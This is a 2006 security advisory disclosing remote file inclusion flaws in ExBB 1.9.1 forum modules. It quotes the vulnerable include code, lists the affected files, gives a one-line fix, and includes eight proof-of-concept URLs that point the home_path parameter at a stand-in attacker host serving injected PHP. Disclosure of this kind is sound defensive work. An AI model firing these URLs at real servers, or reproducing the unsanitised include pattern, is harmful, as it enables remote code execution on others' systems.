[ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion

ECHO.OR.ID

[ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion

Author : Ahmad Maulana a.k.a Matdhule
Date Found : August, 30th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv46-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

ExBB 1.9.1

Application     : ExBB
version         : 1.9.1
URL             : http://www.exbb.net

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

In folder birstday we found vulnerability script birst.php
---------------------------birst.php---------------------------------------
....
<?
  $birstdayconf = array();
  include ($exbb['home_path'].'modules/birstday/data/birstday_conf.php');
  include ($exbb['home_path'].'modules/birstday/language/'.$exbb['default_lang'].'/lang.php');

...
----------------------------------------------------------

Input passed to the "exbb['home_path']" parameter in birst.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

./select.php
./profile_show.php
../newusergreatings/pm_newreg.php
../punish/p_error.php
../punish/profile.php
../threadstop/threadstop.php
../userstop/userstop.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[exbb_path]/modules/birstday/birst.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/birstday/select.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/birstday/profile_show.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/newusergreatings/pm_newreg.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/punish/p_error.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/punish/profile.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/threadstop/threadstop.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/userstop/userstop.php?exbb[home_path]=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $exbb['home_path'] on affected files.

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Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)   
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama, BlueSpy, str0ke
~ [email protected], [email protected]
~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net
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Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
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